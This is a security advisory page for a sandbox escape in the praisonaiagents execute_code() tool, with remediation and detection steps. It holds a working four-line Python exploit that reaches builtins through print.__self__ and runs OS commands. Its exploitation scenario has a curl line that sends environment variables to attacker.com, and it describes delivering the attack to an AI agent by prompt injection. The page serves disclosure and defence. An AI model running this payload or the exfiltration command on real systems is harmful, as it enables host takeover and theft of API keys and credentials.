A critical (CVSS 9.9, scope changed) sandbox escape in praisonaiagents v1.6.37 and earlier allows any low-privileged user who can submit code to an AI agent to execute arbitrary OS commands on the host, fully defeating the library's AST-based security sandbox using standard CPython built-in attributes. This is a novel bypass that survives all three prior CVE patches for this component, and a working four-line proof-of-concept is published in the advisory itself — making exploitation trivial for anyone with access to the code execution interface, whether directly or via prompt injection. With all three CIA pillars at High and scope changed, the blast radius reaches full host compromise: environment variables, API keys, filesystem, and internal network access are all exposed. Upgrade praisonaiagents to 1.6.40 and PraisonAI to 4.6.40 immediately; until patched, isolate any workload invoking execute_code() behind OS-level sandboxing and treat any host running the vulnerable version with untrusted input as potentially compromised.
What is the risk?
Critical risk. CVSS 9.9 with scope change means this vulnerability escapes its intended security boundary and reaches the host OS. Network-accessible (AV:N), low complexity (AC:L), low privileges required (PR:L) — any authenticated agent user qualifies as an attacker. No user interaction is needed. The denylist-based AST sandbox is architecturally fragile: this is the fourth distinct bypass in the same component, and the advisory explicitly states that in-process Python sandboxes are fundamentally insecure by design. The 69 prior CVEs logged against praisonaiagents indicate a pattern of persistent unresolved security debt in this package, raising the overall risk posture beyond the single CVE score.
Attack Kill Chain
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| PraisonAI | pip | <= 4.6.39 | 4.6.40 |
| praisonaiagents | pip | <= 1.6.39 | 1.6.40 |
Severity & Risk
Attack Surface
What should I do?
5 steps-
PATCH IMMEDIATELY
Upgrade praisonaiagents to >=1.6.40 and PraisonAI to >=4.6.40.
-
ISOLATE (until patched): Wrap execute_code() workloads in OS-level sandboxing — Docker with seccomp/AppArmor, gVisor, or nsjail. Disable outbound network egress from agent processes where code execution is required.
-
AUDIT
Search all production codebases for 'from praisonaiagents' and 'execute_code' or 'python_tools' imports; prioritize externally-exposed or prompt-driven deployments.
-
DETECT
Monitor for unusual child process spawning from Python agent processes (os.popen, subprocess, /bin/sh); alert on environment variable enumeration patterns or unexpected outbound connections originating from AI agent processes.
-
LONG-TERM: Replace in-process AST sandboxing with containerized execution (Docker SDK, Firecracker microVMs, WebAssembly runtimes) for any workload that must execute untrusted code.
Classification
Compliance Impact
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-47392?
A critical (CVSS 9.9, scope changed) sandbox escape in praisonaiagents v1.6.37 and earlier allows any low-privileged user who can submit code to an AI agent to execute arbitrary OS commands on the host, fully defeating the library's AST-based security sandbox using standard CPython built-in attributes. This is a novel bypass that survives all three prior CVE patches for this component, and a working four-line proof-of-concept is published in the advisory itself — making exploitation trivial for anyone with access to the code execution interface, whether directly or via prompt injection. With all three CIA pillars at High and scope changed, the blast radius reaches full host compromise: environment variables, API keys, filesystem, and internal network access are all exposed. Upgrade praisonaiagents to 1.6.40 and PraisonAI to 4.6.40 immediately; until patched, isolate any workload invoking execute_code() behind OS-level sandboxing and treat any host running the vulnerable version with untrusted input as potentially compromised.
Is CVE-2026-47392 actively exploited?
No confirmed active exploitation of CVE-2026-47392 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-47392?
1. PATCH IMMEDIATELY: Upgrade praisonaiagents to >=1.6.40 and PraisonAI to >=4.6.40. 2. ISOLATE (until patched): Wrap execute_code() workloads in OS-level sandboxing — Docker with seccomp/AppArmor, gVisor, or nsjail. Disable outbound network egress from agent processes where code execution is required. 3. AUDIT: Search all production codebases for 'from praisonaiagents' and 'execute_code' or 'python_tools' imports; prioritize externally-exposed or prompt-driven deployments. 4. DETECT: Monitor for unusual child process spawning from Python agent processes (os.popen, subprocess, /bin/sh); alert on environment variable enumeration patterns or unexpected outbound connections originating from AI agent processes. 5. LONG-TERM: Replace in-process AST sandboxing with containerized execution (Docker SDK, Firecracker microVMs, WebAssembly runtimes) for any workload that must execute untrusted code.
What systems are affected by CVE-2026-47392?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, code execution agents, multi-agent systems, AI development environments.
What is the CVSS score for CVE-2026-47392?
CVE-2026-47392 has a CVSS v3.1 base score of 9.9 (CRITICAL).
AI Security Impact
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0037 Data from Local System AML.T0050 Command and Scripting Interpreter AML.T0051.001 Indirect AML.T0053 AI Agent Tool Invocation AML.T0105 Escape to Host AML.T0107 Exploitation for Defense Evasion Compliance Controls Affected
Technical Details
Original Advisory
## Summary `execute_code()` in `praisonaiagents/tools/python_tools.py` (v1.6.37, subprocess sandbox mode) can be fully bypassed using `print.__self__` to retrieve the real Python `builtins` module, from which `__import__` can be extracted via `vars()` and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox. This is a **novel bypass** that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (`type.__getattribute__` trampoline). --- ## Severity **CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical** --- ## Root Cause Three independent gaps in the AST-based security validation: ### Gap 1: `__self__` missing from `_blocked_attrs` In CPython, all built-in functions (C-level functions) have a `__self__` attribute that returns the module they belong to. The built-in functions in `safe_builtins` (`print`, `len`, `range`, etc.) are the *real* CPython built-in functions, so `print.__self__` returns `<module 'builtins' (built-in)>`. The `_blocked_attrs` frozenset (line 52) does NOT include `__self__`. The AST check at line 74 only blocks attributes that are IN this set, so `print.__self__` passes. ### Gap 2: `vars` not blocked as callable or attribute `builtins.vars(obj)` returns `obj.__dict__`. The function name `vars` is not in the AST `Call` blocklist (line 83: only blocks `exec`, `eval`, `compile`, `__import__`, `open`, `input`, `breakpoint`, `setattr`, `delattr`, `dir`). And `vars` is not in `_blocked_attrs` for attribute access. So `b.vars(b)` (where `b` is the builtins module) returns `builtins.__dict__` — a dict containing ALL built-in functions including `__import__`, `exec`, `eval`, `open`, etc. ### Gap 3: AST `Call` check only catches `ast.Name` nodes The dangerous-call check (line 82-88) only fires when `isinstance(func, ast.Name)` — i.e., bare-name calls like `exec(...)`. It does NOT catch: - Attribute calls: `b.exec(...)` — func is `ast.Attribute` - Subscript calls: `d["exec"](...)` — func is `ast.Subscript` ### Gap 4: Runtime string construction bypasses string constant check The string constant check (line 92-98) catches literals like `"__import__"`, but NOT runtime concatenation like `"_" + "_" + "import" + "_" + "_"`. The AST sees 5 separate `Constant` nodes (`"_"`, `"_"`, `"import"`, `"_"`, `"_"`), none of which contain any blocked attr as a substring. --- ## Proof of Concept ```python from praisonaiagents.tools.python_tools import execute_code # Exploit: 4 lines, bypasses ALL security layers payload = """ b = print.__self__ d = b.vars(b) key = "_" + "_" + "import" + "_" + "_" imp = d[key] mod = imp("os") print(mod.popen("id").read()) """ result = execute_code(code=payload) print(result) # Output: {'result': None, 'stdout': 'uid=1000(user) gid=1000(user) ...\n', 'stderr': '', 'success': True} ``` ### Step-by-step bypass analysis: | Line | AST node | Check | Result | |---|---|---|---| | `print.__self__` | `Attribute(attr='__self__')` | `__self__` in `_blocked_attrs`? | **NO** → passes | | `b.vars` | `Attribute(attr='vars')` | `vars` in `_blocked_attrs`? | **NO** → passes | | `b.vars(b)` | `Call(func=Attribute)` | `isinstance(func, ast.Name)`? | **NO** → passes | | `"_"`, `"import"` | `Constant(value=str)` | Contains blocked attr? | **NO** → passes | | `d[key]` | `Subscript` | Not checked | passes | | `imp("os")` | `Call(func=Name('imp'))` | `imp` in blocked calls? | **NO** → passes | **Result: Full sandbox escape → arbitrary command execution** --- ## Impact An attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can: - Execute arbitrary commands on the host system - Read/write any file accessible to the process - Exfiltrate environment variables, API keys, and credentials - Pivot to internal networks - Install persistent backdoors --- ## Affected - **Package**: `praisonaiagents` (PyPI) - **Affected versions**: All versions through 1.6.37 (latest) - **Component**: `praisonaiagents/tools/python_tools.py`, `_execute_code_sandboxed()` function - **Default configuration affected**: Yes (`sandbox_mode="sandbox"` is the default) --- ## Remediation ### Immediate fix Add `__self__` to `_blocked_attrs`: ```python _blocked_attrs = frozenset({ ..., '__self__', # Built-in functions leak their parent module }) ``` ### Additional hardening 1. Block `vars` in the callable blocklist 2. Extend the `ast.Call` check to also catch `ast.Attribute` and `ast.Subscript` function nodes 3. Add AST check for `BinOp` string concatenation that could construct blocked attr names ### Fundamental recommendation Denylist-based Python sandboxes are fundamentally insecure. Each patch introduces a new bypass opportunity. Consider: - Using `isolated-vm` (Node.js) or WebAssembly-based isolation - Using OS-level sandboxing (seccomp, namespaces, gVisor) - Removing in-process code execution entirely in favor of containerized execution
Exploitation Scenario
An attacker targeting an organization running praisonaiagents for automated code analysis or generation submits a malicious request: the payload is embedded in user input or injected via a malicious document processed by the agent. The agent passes the code to execute_code(), which runs the AST validator. The four-line payload accesses print.__self__ (not in _blocked_attrs) to obtain the real CPython builtins module, calls b.vars(b) to get builtins.__dict__ (the ast.Call check only fires on ast.Name nodes, so b.vars(b) via ast.Attribute passes silently), constructs the string '__import__' via concatenation of five innocent substrings (bypassing constant inspection), then calls os.popen('curl attacker.com/exfil?d=$(printenv | base64 -w0)').read(). All environment variables — including LLM API keys, database passwords, and cloud tokens — are silently exfiltrated. The agent returns a clean success result to the caller with no error indication.
Weaknesses (CWE)
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2026-47410 9.8 praisonai-platform: hardcoded JWT → full account takeover
Same package: praisonai GHSA-vc46-vw85-3wvm 9.8 PraisonAI: RCE via malicious workflow YAML execution
Same package: praisonai CVE-2026-39890 9.8 PraisonAI: YAML deserialization enables unauthenticated RCE
Same package: praisonai GHSA-9qhq-v63v-fv3j 9.8 PraisonAI: RCE via MCP command injection
Same package: praisonai CVE-2026-47391 9.8 PraisonAI: Unauth RCE via A2A eval injection
Same package: praisonai